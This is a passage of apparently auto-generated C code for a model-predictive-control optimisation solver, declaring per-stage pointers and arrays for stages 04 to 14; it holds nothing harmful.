+ 16; controlMPC_FLOAT* controlMPC_dllbcc04 = controlMPC_dl_cc + 16; controlMPC_FLOAT* controlMPC_dslbcc04 = controlMPC_ds_cc + 16; controlMPC_FLOAT* controlMPC_ccrhsl04 = controlMPC_ccrhs + 16; int controlMPC_ubIdx04[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub04 = controlMPC_l + 18; controlMPC_FLOAT* controlMPC_sub04 = controlMPC_s + 18; controlMPC_FLOAT* controlMPC_lubbysub04 = controlMPC_lbys + 18; controlMPC_FLOAT controlMPC_riub04[2]; controlMPC_FLOAT* controlMPC_dlubaff04 = controlMPC_dl_aff + 18; controlMPC_FLOAT* controlMPC_dsubaff04 = controlMPC_ds_aff + 18; controlMPC_FLOAT* controlMPC_dlubcc04 = controlMPC_dl_cc + 18; controlMPC_FLOAT* controlMPC_dsubcc04 = controlMPC_ds_cc + 18; controlMPC_FLOAT* controlMPC_ccrhsub04 = controlMPC_ccrhs + 18; controlMPC_FLOAT controlMPC_Phi04[2]; controlMPC_FLOAT controlMPC_W04[2]; controlMPC_FLOAT controlMPC_Ysd04[4]; controlMPC_FLOAT controlMPC_Lsd04[4]; controlMPC_FLOAT* controlMPC_z05 = controlMPC_z + 10; controlMPC_FLOAT* controlMPC_dzaff05 = controlMPC_dz_aff + 10; controlMPC_FLOAT* controlMPC_dzcc05 = controlMPC_dz_cc + 10; controlMPC_FLOAT* controlMPC_rd05 = controlMPC_rd + 10; controlMPC_FLOAT controlMPC_Lbyrd05[2]; controlMPC_FLOAT* controlMPC_grad_cost05 = controlMPC_grad_cost + 10; controlMPC_FLOAT* controlMPC_grad_eq05 = controlMPC_grad_eq + 10; controlMPC_FLOAT* controlMPC_grad_ineq05 = controlMPC_grad_ineq + 10; controlMPC_FLOAT controlMPC_ctv05[2]; controlMPC_FLOAT* controlMPC_v05 = controlMPC_v + 10; controlMPC_FLOAT controlMPC_re05[2]; controlMPC_FLOAT controlMPC_beta05[2]; controlMPC_FLOAT controlMPC_betacc05[2]; controlMPC_FLOAT* controlMPC_dvaff05 = controlMPC_dv_aff + 10; controlMPC_FLOAT* controlMPC_dvcc05 = controlMPC_dv_cc + 10; controlMPC_FLOAT controlMPC_V05[4]; controlMPC_FLOAT controlMPC_Yd05[3]; controlMPC_FLOAT controlMPC_Ld05[3]; controlMPC_FLOAT controlMPC_yy05[2]; controlMPC_FLOAT controlMPC_bmy05[2]; controlMPC_FLOAT controlMPC_c05[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx05[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb05 = controlMPC_l + 20; controlMPC_FLOAT* controlMPC_slb05 = controlMPC_s + 20; controlMPC_FLOAT* controlMPC_llbbyslb05 = controlMPC_lbys + 20; controlMPC_FLOAT controlMPC_rilb05[2]; controlMPC_FLOAT* controlMPC_dllbaff05 = controlMPC_dl_aff + 20; controlMPC_FLOAT* controlMPC_dslbaff05 = controlMPC_ds_aff + 20; controlMPC_FLOAT* controlMPC_dllbcc05 = controlMPC_dl_cc + 20; controlMPC_FLOAT* controlMPC_dslbcc05 = controlMPC_ds_cc + 20; controlMPC_FLOAT* controlMPC_ccrhsl05 = controlMPC_ccrhs + 20; int controlMPC_ubIdx05[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub05 = controlMPC_l + 22; controlMPC_FLOAT* controlMPC_sub05 = controlMPC_s + 22; controlMPC_FLOAT* controlMPC_lubbysub05 = controlMPC_lbys + 22; controlMPC_FLOAT controlMPC_riub05[2]; controlMPC_FLOAT* controlMPC_dlubaff05 = controlMPC_dl_aff + 22; controlMPC_FLOAT* controlMPC_dsubaff05 = controlMPC_ds_aff + 22; controlMPC_FLOAT* controlMPC_dlubcc05 = controlMPC_dl_cc + 22; controlMPC_FLOAT* controlMPC_dsubcc05 = controlMPC_ds_cc + 22; controlMPC_FLOAT* controlMPC_ccrhsub05 = controlMPC_ccrhs + 22; controlMPC_FLOAT controlMPC_Phi05[2]; controlMPC_FLOAT controlMPC_W05[2]; controlMPC_FLOAT controlMPC_Ysd05[4]; controlMPC_FLOAT controlMPC_Lsd05[4]; controlMPC_FLOAT* controlMPC_z06 = controlMPC_z + 12; controlMPC_FLOAT* controlMPC_dzaff06 = controlMPC_dz_aff + 12; controlMPC_FLOAT* controlMPC_dzcc06 = controlMPC_dz_cc + 12; controlMPC_FLOAT* controlMPC_rd06 = controlMPC_rd + 12; controlMPC_FLOAT controlMPC_Lbyrd06[2]; controlMPC_FLOAT* controlMPC_grad_cost06 = controlMPC_grad_cost + 12; controlMPC_FLOAT* controlMPC_grad_eq06 = controlMPC_grad_eq + 12; controlMPC_FLOAT* controlMPC_grad_ineq06 = controlMPC_grad_ineq + 12; controlMPC_FLOAT controlMPC_ctv06[2]; controlMPC_FLOAT* controlMPC_v06 = controlMPC_v + 12; controlMPC_FLOAT controlMPC_re06[2]; controlMPC_FLOAT controlMPC_beta06[2]; controlMPC_FLOAT controlMPC_betacc06[2]; controlMPC_FLOAT* controlMPC_dvaff06 = controlMPC_dv_aff + 12; controlMPC_FLOAT* controlMPC_dvcc06 = controlMPC_dv_cc + 12; controlMPC_FLOAT controlMPC_V06[4]; controlMPC_FLOAT controlMPC_Yd06[3]; controlMPC_FLOAT controlMPC_Ld06[3]; controlMPC_FLOAT controlMPC_yy06[2]; controlMPC_FLOAT controlMPC_bmy06[2]; controlMPC_FLOAT controlMPC_c06[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx06[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb06 = controlMPC_l + 24; controlMPC_FLOAT* controlMPC_slb06 = controlMPC_s + 24; controlMPC_FLOAT* controlMPC_llbbyslb06 = controlMPC_lbys + 24; controlMPC_FLOAT controlMPC_rilb06[2]; controlMPC_FLOAT* controlMPC_dllbaff06 = controlMPC_dl_aff + 24; controlMPC_FLOAT* controlMPC_dslbaff06 = controlMPC_ds_aff + 24; controlMPC_FLOAT* controlMPC_dllbcc06 = controlMPC_dl_cc + 24; controlMPC_FLOAT* controlMPC_dslbcc06 = controlMPC_ds_cc + 24; controlMPC_FLOAT* controlMPC_ccrhsl06 = controlMPC_ccrhs + 24; int controlMPC_ubIdx06[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub06 = controlMPC_l + 26; controlMPC_FLOAT* controlMPC_sub06 = controlMPC_s + 26; controlMPC_FLOAT* controlMPC_lubbysub06 = controlMPC_lbys + 26; controlMPC_FLOAT controlMPC_riub06[2]; controlMPC_FLOAT* controlMPC_dlubaff06 = controlMPC_dl_aff + 26; controlMPC_FLOAT* controlMPC_dsubaff06 = controlMPC_ds_aff + 26; controlMPC_FLOAT* controlMPC_dlubcc06 = controlMPC_dl_cc + 26; controlMPC_FLOAT* controlMPC_dsubcc06 = controlMPC_ds_cc + 26; controlMPC_FLOAT* controlMPC_ccrhsub06 = controlMPC_ccrhs + 26; controlMPC_FLOAT controlMPC_Phi06[2]; controlMPC_FLOAT controlMPC_W06[2]; controlMPC_FLOAT controlMPC_Ysd06[4]; controlMPC_FLOAT controlMPC_Lsd06[4]; controlMPC_FLOAT* controlMPC_z07 = controlMPC_z + 14; controlMPC_FLOAT* controlMPC_dzaff07 = controlMPC_dz_aff + 14; controlMPC_FLOAT* controlMPC_dzcc07 = controlMPC_dz_cc + 14; controlMPC_FLOAT* controlMPC_rd07 = controlMPC_rd + 14; controlMPC_FLOAT controlMPC_Lbyrd07[2]; controlMPC_FLOAT* controlMPC_grad_cost07 = controlMPC_grad_cost + 14; controlMPC_FLOAT* controlMPC_grad_eq07 = controlMPC_grad_eq + 14; controlMPC_FLOAT* controlMPC_grad_ineq07 = controlMPC_grad_ineq + 14; controlMPC_FLOAT controlMPC_ctv07[2]; controlMPC_FLOAT* controlMPC_v07 = controlMPC_v + 14; controlMPC_FLOAT controlMPC_re07[2]; controlMPC_FLOAT controlMPC_beta07[2]; controlMPC_FLOAT controlMPC_betacc07[2]; controlMPC_FLOAT* controlMPC_dvaff07 = controlMPC_dv_aff + 14; controlMPC_FLOAT* controlMPC_dvcc07 = controlMPC_dv_cc + 14; controlMPC_FLOAT controlMPC_V07[4]; controlMPC_FLOAT controlMPC_Yd07[3]; controlMPC_FLOAT controlMPC_Ld07[3]; controlMPC_FLOAT controlMPC_yy07[2]; controlMPC_FLOAT controlMPC_bmy07[2]; controlMPC_FLOAT controlMPC_c07[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx07[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb07 = controlMPC_l + 28; controlMPC_FLOAT* controlMPC_slb07 = controlMPC_s + 28; controlMPC_FLOAT* controlMPC_llbbyslb07 = controlMPC_lbys + 28; controlMPC_FLOAT controlMPC_rilb07[2]; controlMPC_FLOAT* controlMPC_dllbaff07 = controlMPC_dl_aff + 28; controlMPC_FLOAT* controlMPC_dslbaff07 = controlMPC_ds_aff + 28; controlMPC_FLOAT* controlMPC_dllbcc07 = controlMPC_dl_cc + 28; controlMPC_FLOAT* controlMPC_dslbcc07 = controlMPC_ds_cc + 28; controlMPC_FLOAT* controlMPC_ccrhsl07 = controlMPC_ccrhs + 28; int controlMPC_ubIdx07[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub07 = controlMPC_l + 30; controlMPC_FLOAT* controlMPC_sub07 = controlMPC_s + 30; controlMPC_FLOAT* controlMPC_lubbysub07 = controlMPC_lbys + 30; controlMPC_FLOAT controlMPC_riub07[2]; controlMPC_FLOAT* controlMPC_dlubaff07 = controlMPC_dl_aff + 30; controlMPC_FLOAT* controlMPC_dsubaff07 = controlMPC_ds_aff + 30; controlMPC_FLOAT* controlMPC_dlubcc07 = controlMPC_dl_cc + 30; controlMPC_FLOAT* controlMPC_dsubcc07 = controlMPC_ds_cc + 30; controlMPC_FLOAT* controlMPC_ccrhsub07 = controlMPC_ccrhs + 30; controlMPC_FLOAT controlMPC_Phi07[2]; controlMPC_FLOAT controlMPC_W07[2]; controlMPC_FLOAT controlMPC_Ysd07[4]; controlMPC_FLOAT controlMPC_Lsd07[4]; controlMPC_FLOAT* controlMPC_z08 = controlMPC_z + 16; controlMPC_FLOAT* controlMPC_dzaff08 = controlMPC_dz_aff + 16; controlMPC_FLOAT* controlMPC_dzcc08 = controlMPC_dz_cc + 16; controlMPC_FLOAT* controlMPC_rd08 = controlMPC_rd + 16; controlMPC_FLOAT controlMPC_Lbyrd08[2]; controlMPC_FLOAT* controlMPC_grad_cost08 = controlMPC_grad_cost + 16; controlMPC_FLOAT* controlMPC_grad_eq08 = controlMPC_grad_eq + 16; controlMPC_FLOAT* controlMPC_grad_ineq08 = controlMPC_grad_ineq + 16; controlMPC_FLOAT controlMPC_ctv08[2]; controlMPC_FLOAT* controlMPC_v08 = controlMPC_v + 16; controlMPC_FLOAT controlMPC_re08[2]; controlMPC_FLOAT controlMPC_beta08[2]; controlMPC_FLOAT controlMPC_betacc08[2]; controlMPC_FLOAT* controlMPC_dvaff08 = controlMPC_dv_aff + 16; controlMPC_FLOAT* controlMPC_dvcc08 = controlMPC_dv_cc + 16; controlMPC_FLOAT controlMPC_V08[4]; controlMPC_FLOAT controlMPC_Yd08[3]; controlMPC_FLOAT controlMPC_Ld08[3]; controlMPC_FLOAT controlMPC_yy08[2]; controlMPC_FLOAT controlMPC_bmy08[2]; controlMPC_FLOAT controlMPC_c08[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx08[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb08 = controlMPC_l + 32; controlMPC_FLOAT* controlMPC_slb08 = controlMPC_s + 32; controlMPC_FLOAT* controlMPC_llbbyslb08 = controlMPC_lbys + 32; controlMPC_FLOAT controlMPC_rilb08[2]; controlMPC_FLOAT* controlMPC_dllbaff08 = controlMPC_dl_aff + 32; controlMPC_FLOAT* controlMPC_dslbaff08 = controlMPC_ds_aff + 32; controlMPC_FLOAT* controlMPC_dllbcc08 = controlMPC_dl_cc + 32; controlMPC_FLOAT* controlMPC_dslbcc08 = controlMPC_ds_cc + 32; controlMPC_FLOAT* controlMPC_ccrhsl08 = controlMPC_ccrhs + 32; int controlMPC_ubIdx08[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub08 = controlMPC_l + 34; controlMPC_FLOAT* controlMPC_sub08 = controlMPC_s + 34; controlMPC_FLOAT* controlMPC_lubbysub08 = controlMPC_lbys + 34; controlMPC_FLOAT controlMPC_riub08[2]; controlMPC_FLOAT* controlMPC_dlubaff08 = controlMPC_dl_aff + 34; controlMPC_FLOAT* controlMPC_dsubaff08 = controlMPC_ds_aff + 34; controlMPC_FLOAT* controlMPC_dlubcc08 = controlMPC_dl_cc + 34; controlMPC_FLOAT* controlMPC_dsubcc08 = controlMPC_ds_cc + 34; controlMPC_FLOAT* controlMPC_ccrhsub08 = controlMPC_ccrhs + 34; controlMPC_FLOAT controlMPC_Phi08[2]; controlMPC_FLOAT controlMPC_W08[2]; controlMPC_FLOAT controlMPC_Ysd08[4]; controlMPC_FLOAT controlMPC_Lsd08[4]; controlMPC_FLOAT* controlMPC_z09 = controlMPC_z + 18; controlMPC_FLOAT* controlMPC_dzaff09 = controlMPC_dz_aff + 18; controlMPC_FLOAT* controlMPC_dzcc09 = controlMPC_dz_cc + 18; controlMPC_FLOAT* controlMPC_rd09 = controlMPC_rd + 18; controlMPC_FLOAT controlMPC_Lbyrd09[2]; controlMPC_FLOAT* controlMPC_grad_cost09 = controlMPC_grad_cost + 18; controlMPC_FLOAT* controlMPC_grad_eq09 = controlMPC_grad_eq + 18; controlMPC_FLOAT* controlMPC_grad_ineq09 = controlMPC_grad_ineq + 18; controlMPC_FLOAT controlMPC_ctv09[2]; controlMPC_FLOAT* controlMPC_v09 = controlMPC_v + 18; controlMPC_FLOAT controlMPC_re09[2]; controlMPC_FLOAT controlMPC_beta09[2]; controlMPC_FLOAT controlMPC_betacc09[2]; controlMPC_FLOAT* controlMPC_dvaff09 = controlMPC_dv_aff + 18; controlMPC_FLOAT* controlMPC_dvcc09 = controlMPC_dv_cc + 18; controlMPC_FLOAT controlMPC_V09[4]; controlMPC_FLOAT controlMPC_Yd09[3]; controlMPC_FLOAT controlMPC_Ld09[3]; controlMPC_FLOAT controlMPC_yy09[2]; controlMPC_FLOAT controlMPC_bmy09[2]; controlMPC_FLOAT controlMPC_c09[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx09[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb09 = controlMPC_l + 36; controlMPC_FLOAT* controlMPC_slb09 = controlMPC_s + 36; controlMPC_FLOAT* controlMPC_llbbyslb09 = controlMPC_lbys + 36; controlMPC_FLOAT controlMPC_rilb09[2]; controlMPC_FLOAT* controlMPC_dllbaff09 = controlMPC_dl_aff + 36; controlMPC_FLOAT* controlMPC_dslbaff09 = controlMPC_ds_aff + 36; controlMPC_FLOAT* controlMPC_dllbcc09 = controlMPC_dl_cc + 36; controlMPC_FLOAT* controlMPC_dslbcc09 = controlMPC_ds_cc + 36; controlMPC_FLOAT* controlMPC_ccrhsl09 = controlMPC_ccrhs + 36; int controlMPC_ubIdx09[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub09 = controlMPC_l + 38; controlMPC_FLOAT* controlMPC_sub09 = controlMPC_s + 38; controlMPC_FLOAT* controlMPC_lubbysub09 = controlMPC_lbys + 38; controlMPC_FLOAT controlMPC_riub09[2]; controlMPC_FLOAT* controlMPC_dlubaff09 = controlMPC_dl_aff + 38; controlMPC_FLOAT* controlMPC_dsubaff09 = controlMPC_ds_aff + 38; controlMPC_FLOAT* controlMPC_dlubcc09 = controlMPC_dl_cc + 38; controlMPC_FLOAT* controlMPC_dsubcc09 = controlMPC_ds_cc + 38; controlMPC_FLOAT* controlMPC_ccrhsub09 = controlMPC_ccrhs + 38; controlMPC_FLOAT controlMPC_Phi09[2]; controlMPC_FLOAT controlMPC_W09[2]; controlMPC_FLOAT controlMPC_Ysd09[4]; controlMPC_FLOAT controlMPC_Lsd09[4]; controlMPC_FLOAT* controlMPC_z10 = controlMPC_z + 20; controlMPC_FLOAT* controlMPC_dzaff10 = controlMPC_dz_aff + 20; controlMPC_FLOAT* controlMPC_dzcc10 = controlMPC_dz_cc + 20; controlMPC_FLOAT* controlMPC_rd10 = controlMPC_rd + 20; controlMPC_FLOAT controlMPC_Lbyrd10[2]; controlMPC_FLOAT* controlMPC_grad_cost10 = controlMPC_grad_cost + 20; controlMPC_FLOAT* controlMPC_grad_eq10 = controlMPC_grad_eq + 20; controlMPC_FLOAT* controlMPC_grad_ineq10 = controlMPC_grad_ineq + 20; controlMPC_FLOAT controlMPC_ctv10[2]; controlMPC_FLOAT* controlMPC_v10 = controlMPC_v + 20; controlMPC_FLOAT controlMPC_re10[2]; controlMPC_FLOAT controlMPC_beta10[2]; controlMPC_FLOAT controlMPC_betacc10[2]; controlMPC_FLOAT* controlMPC_dvaff10 = controlMPC_dv_aff + 20; controlMPC_FLOAT* controlMPC_dvcc10 = controlMPC_dv_cc + 20; controlMPC_FLOAT controlMPC_V10[4]; controlMPC_FLOAT controlMPC_Yd10[3]; controlMPC_FLOAT controlMPC_Ld10[3]; controlMPC_FLOAT controlMPC_yy10[2]; controlMPC_FLOAT controlMPC_bmy10[2]; controlMPC_FLOAT controlMPC_c10[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx10[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb10 = controlMPC_l + 40; controlMPC_FLOAT* controlMPC_slb10 = controlMPC_s + 40; controlMPC_FLOAT* controlMPC_llbbyslb10 = controlMPC_lbys + 40; controlMPC_FLOAT controlMPC_rilb10[2]; controlMPC_FLOAT* controlMPC_dllbaff10 = controlMPC_dl_aff + 40; controlMPC_FLOAT* controlMPC_dslbaff10 = controlMPC_ds_aff + 40; controlMPC_FLOAT* controlMPC_dllbcc10 = controlMPC_dl_cc + 40; controlMPC_FLOAT* controlMPC_dslbcc10 = controlMPC_ds_cc + 40; controlMPC_FLOAT* controlMPC_ccrhsl10 = controlMPC_ccrhs + 40; int controlMPC_ubIdx10[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub10 = controlMPC_l + 42; controlMPC_FLOAT* controlMPC_sub10 = controlMPC_s + 42; controlMPC_FLOAT* controlMPC_lubbysub10 = controlMPC_lbys + 42; controlMPC_FLOAT controlMPC_riub10[2]; controlMPC_FLOAT* controlMPC_dlubaff10 = controlMPC_dl_aff + 42; controlMPC_FLOAT* controlMPC_dsubaff10 = controlMPC_ds_aff + 42; controlMPC_FLOAT* controlMPC_dlubcc10 = controlMPC_dl_cc + 42; controlMPC_FLOAT* controlMPC_dsubcc10 = controlMPC_ds_cc + 42; controlMPC_FLOAT* controlMPC_ccrhsub10 = controlMPC_ccrhs + 42; controlMPC_FLOAT controlMPC_Phi10[2]; controlMPC_FLOAT controlMPC_W10[2]; controlMPC_FLOAT controlMPC_Ysd10[4]; controlMPC_FLOAT controlMPC_Lsd10[4]; controlMPC_FLOAT* controlMPC_z11 = controlMPC_z + 22; controlMPC_FLOAT* controlMPC_dzaff11 = controlMPC_dz_aff + 22; controlMPC_FLOAT* controlMPC_dzcc11 = controlMPC_dz_cc + 22; controlMPC_FLOAT* controlMPC_rd11 = controlMPC_rd + 22; controlMPC_FLOAT controlMPC_Lbyrd11[2]; controlMPC_FLOAT* controlMPC_grad_cost11 = controlMPC_grad_cost + 22; controlMPC_FLOAT* controlMPC_grad_eq11 = controlMPC_grad_eq + 22; controlMPC_FLOAT* controlMPC_grad_ineq11 = controlMPC_grad_ineq + 22; controlMPC_FLOAT controlMPC_ctv11[2]; controlMPC_FLOAT* controlMPC_v11 = controlMPC_v + 22; controlMPC_FLOAT controlMPC_re11[2]; controlMPC_FLOAT controlMPC_beta11[2]; controlMPC_FLOAT controlMPC_betacc11[2]; controlMPC_FLOAT* controlMPC_dvaff11 = controlMPC_dv_aff + 22; controlMPC_FLOAT* controlMPC_dvcc11 = controlMPC_dv_cc + 22; controlMPC_FLOAT controlMPC_V11[4]; controlMPC_FLOAT controlMPC_Yd11[3]; controlMPC_FLOAT controlMPC_Ld11[3]; controlMPC_FLOAT controlMPC_yy11[2]; controlMPC_FLOAT controlMPC_bmy11[2]; controlMPC_FLOAT controlMPC_c11[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx11[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb11 = controlMPC_l + 44; controlMPC_FLOAT* controlMPC_slb11 = controlMPC_s + 44; controlMPC_FLOAT* controlMPC_llbbyslb11 = controlMPC_lbys + 44; controlMPC_FLOAT controlMPC_rilb11[2]; controlMPC_FLOAT* controlMPC_dllbaff11 = controlMPC_dl_aff + 44; controlMPC_FLOAT* controlMPC_dslbaff11 = controlMPC_ds_aff + 44; controlMPC_FLOAT* controlMPC_dllbcc11 = controlMPC_dl_cc + 44; controlMPC_FLOAT* controlMPC_dslbcc11 = controlMPC_ds_cc + 44; controlMPC_FLOAT* controlMPC_ccrhsl11 = controlMPC_ccrhs + 44; int controlMPC_ubIdx11[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub11 = controlMPC_l + 46; controlMPC_FLOAT* controlMPC_sub11 = controlMPC_s + 46; controlMPC_FLOAT* controlMPC_lubbysub11 = controlMPC_lbys + 46; controlMPC_FLOAT controlMPC_riub11[2]; controlMPC_FLOAT* controlMPC_dlubaff11 = controlMPC_dl_aff + 46; controlMPC_FLOAT* controlMPC_dsubaff11 = controlMPC_ds_aff + 46; controlMPC_FLOAT* controlMPC_dlubcc11 = controlMPC_dl_cc + 46; controlMPC_FLOAT* controlMPC_dsubcc11 = controlMPC_ds_cc + 46; controlMPC_FLOAT* controlMPC_ccrhsub11 = controlMPC_ccrhs + 46; controlMPC_FLOAT controlMPC_Phi11[2]; controlMPC_FLOAT controlMPC_W11[2]; controlMPC_FLOAT controlMPC_Ysd11[4]; controlMPC_FLOAT controlMPC_Lsd11[4]; controlMPC_FLOAT* controlMPC_z12 = controlMPC_z + 24; controlMPC_FLOAT* controlMPC_dzaff12 = controlMPC_dz_aff + 24; controlMPC_FLOAT* controlMPC_dzcc12 = controlMPC_dz_cc + 24; controlMPC_FLOAT* controlMPC_rd12 = controlMPC_rd + 24; controlMPC_FLOAT controlMPC_Lbyrd12[2]; controlMPC_FLOAT* controlMPC_grad_cost12 = controlMPC_grad_cost + 24; controlMPC_FLOAT* controlMPC_grad_eq12 = controlMPC_grad_eq + 24; controlMPC_FLOAT* controlMPC_grad_ineq12 = controlMPC_grad_ineq + 24; controlMPC_FLOAT controlMPC_ctv12[2]; controlMPC_FLOAT* controlMPC_v12 = controlMPC_v + 24; controlMPC_FLOAT controlMPC_re12[2]; controlMPC_FLOAT controlMPC_beta12[2]; controlMPC_FLOAT controlMPC_betacc12[2]; controlMPC_FLOAT* controlMPC_dvaff12 = controlMPC_dv_aff + 24; controlMPC_FLOAT* controlMPC_dvcc12 = controlMPC_dv_cc + 24; controlMPC_FLOAT controlMPC_V12[4]; controlMPC_FLOAT controlMPC_Yd12[3]; controlMPC_FLOAT controlMPC_Ld12[3]; controlMPC_FLOAT controlMPC_yy12[2]; controlMPC_FLOAT controlMPC_bmy12[2]; controlMPC_FLOAT controlMPC_c12[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx12[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb12 = controlMPC_l + 48; controlMPC_FLOAT* controlMPC_slb12 = controlMPC_s + 48; controlMPC_FLOAT* controlMPC_llbbyslb12 = controlMPC_lbys + 48; controlMPC_FLOAT controlMPC_rilb12[2]; controlMPC_FLOAT* controlMPC_dllbaff12 = controlMPC_dl_aff + 48; controlMPC_FLOAT* controlMPC_dslbaff12 = controlMPC_ds_aff + 48; controlMPC_FLOAT* controlMPC_dllbcc12 = controlMPC_dl_cc + 48; controlMPC_FLOAT* controlMPC_dslbcc12 = controlMPC_ds_cc + 48; controlMPC_FLOAT* controlMPC_ccrhsl12 = controlMPC_ccrhs + 48; int controlMPC_ubIdx12[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub12 = controlMPC_l + 50; controlMPC_FLOAT* controlMPC_sub12 = controlMPC_s + 50; controlMPC_FLOAT* controlMPC_lubbysub12 = controlMPC_lbys + 50; controlMPC_FLOAT controlMPC_riub12[2]; controlMPC_FLOAT* controlMPC_dlubaff12 = controlMPC_dl_aff + 50; controlMPC_FLOAT* controlMPC_dsubaff12 = controlMPC_ds_aff + 50; controlMPC_FLOAT* controlMPC_dlubcc12 = controlMPC_dl_cc + 50; controlMPC_FLOAT* controlMPC_dsubcc12 = controlMPC_ds_cc + 50; controlMPC_FLOAT* controlMPC_ccrhsub12 = controlMPC_ccrhs + 50; controlMPC_FLOAT controlMPC_Phi12[2]; controlMPC_FLOAT controlMPC_W12[2]; controlMPC_FLOAT controlMPC_Ysd12[4]; controlMPC_FLOAT controlMPC_Lsd12[4]; controlMPC_FLOAT* controlMPC_z13 = controlMPC_z + 26; controlMPC_FLOAT* controlMPC_dzaff13 = controlMPC_dz_aff + 26; controlMPC_FLOAT* controlMPC_dzcc13 = controlMPC_dz_cc + 26; controlMPC_FLOAT* controlMPC_rd13 = controlMPC_rd + 26; controlMPC_FLOAT controlMPC_Lbyrd13[2]; controlMPC_FLOAT* controlMPC_grad_cost13 = controlMPC_grad_cost + 26; controlMPC_FLOAT* controlMPC_grad_eq13 = controlMPC_grad_eq + 26; controlMPC_FLOAT* controlMPC_grad_ineq13 = controlMPC_grad_ineq + 26; controlMPC_FLOAT controlMPC_ctv13[2]; controlMPC_FLOAT* controlMPC_v13 = controlMPC_v + 26; controlMPC_FLOAT controlMPC_re13[2]; controlMPC_FLOAT controlMPC_beta13[2]; controlMPC_FLOAT controlMPC_betacc13[2]; controlMPC_FLOAT* controlMPC_dvaff13 = controlMPC_dv_aff + 26; controlMPC_FLOAT* controlMPC_dvcc13 = controlMPC_dv_cc + 26; controlMPC_FLOAT controlMPC_V13[4]; controlMPC_FLOAT controlMPC_Yd13[3]; controlMPC_FLOAT controlMPC_Ld13[3]; controlMPC_FLOAT controlMPC_yy13[2]; controlMPC_FLOAT controlMPC_bmy13[2]; controlMPC_FLOAT controlMPC_c13[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx13[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb13 = controlMPC_l + 52; controlMPC_FLOAT* controlMPC_slb13 = controlMPC_s + 52; controlMPC_FLOAT* controlMPC_llbbyslb13 = controlMPC_lbys + 52; controlMPC_FLOAT controlMPC_rilb13[2]; controlMPC_FLOAT* controlMPC_dllbaff13 = controlMPC_dl_aff + 52; controlMPC_FLOAT* controlMPC_dslbaff13 = controlMPC_ds_aff + 52; controlMPC_FLOAT* controlMPC_dllbcc13 = controlMPC_dl_cc + 52; controlMPC_FLOAT* controlMPC_dslbcc13 = controlMPC_ds_cc + 52; controlMPC_FLOAT* controlMPC_ccrhsl13 = controlMPC_ccrhs + 52; int controlMPC_ubIdx13[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub13 = controlMPC_l + 54; controlMPC_FLOAT* controlMPC_sub13 = controlMPC_s + 54; controlMPC_FLOAT* controlMPC_lubbysub13 = controlMPC_lbys + 54; controlMPC_FLOAT controlMPC_riub13[2]; controlMPC_FLOAT* controlMPC_dlubaff13 = controlMPC_dl_aff + 54; controlMPC_FLOAT* controlMPC_dsubaff13 = controlMPC_ds_aff + 54; controlMPC_FLOAT* controlMPC_dlubcc13 = controlMPC_dl_cc + 54; controlMPC_FLOAT* controlMPC_dsubcc13 = controlMPC_ds_cc + 54; controlMPC_FLOAT* controlMPC_ccrhsub13 = controlMPC_ccrhs + 54; controlMPC_FLOAT controlMPC_Phi13[2]; controlMPC_FLOAT controlMPC_W13[2]; controlMPC_FLOAT controlMPC_Ysd13[4]; controlMPC_FLOAT controlMPC_Lsd13[4]; controlMPC_FLOAT* controlMPC_z14 = controlMPC_z + 28; controlMPC_FLOAT* controlMPC_dzaff14 = controlMPC_dz_aff + 28; controlMPC_FLOAT* controlMPC_dzcc14 = controlMPC_dz_cc + 28; controlMPC_FLOAT* controlMPC_rd14 = controlMPC_rd + 28; controlMPC_FLOAT controlMPC_Lbyrd14[2]; controlMPC_FLOAT* controlMPC_grad_cost14 = controlMPC_grad_cost + 28; controlMPC_FLOAT* controlMPC_grad_eq14 = controlMPC_grad_eq + 28; controlMPC_FLOAT* controlMPC_grad_ineq14 = controlMPC_grad_ineq + 28; controlMPC_FLOAT controlMPC_ctv14[2]; controlMPC_FLOAT* controlMPC_v14 = controlMPC_v + 28; controlMPC_FLOAT controlMPC_re14[2]; controlMPC_FLOAT controlMPC_beta14[2]; controlMPC_FLOAT controlMPC_betacc14[2]; controlMPC_FLOAT* controlMPC_dvaff14 = controlMPC_dv_aff + 28; controlMPC_FLOAT* controlMPC_dvcc14 = controlMPC_dv_cc + 28; controlMPC_FLOAT controlMPC_V14[4]; controlMPC_FLOAT controlMPC_Yd14[3]; controlMPC_FLOAT controlMPC_Ld14[3]; controlMPC_FLOAT controlMPC_yy14[2]; controlMPC_FLOAT controlMPC_bmy14[2]; controlMPC_FLOAT controlMPC_c14[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx14[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb14 = controlMPC_l + 56; controlMPC_FLOAT* controlMPC_slb14 = controlMPC_s + 56; controlMPC_FLOAT* controlMPC_llbbyslb14 = controlMPC_lbys + 56; controlMPC_FLOAT controlMPC_rilb14[2]; 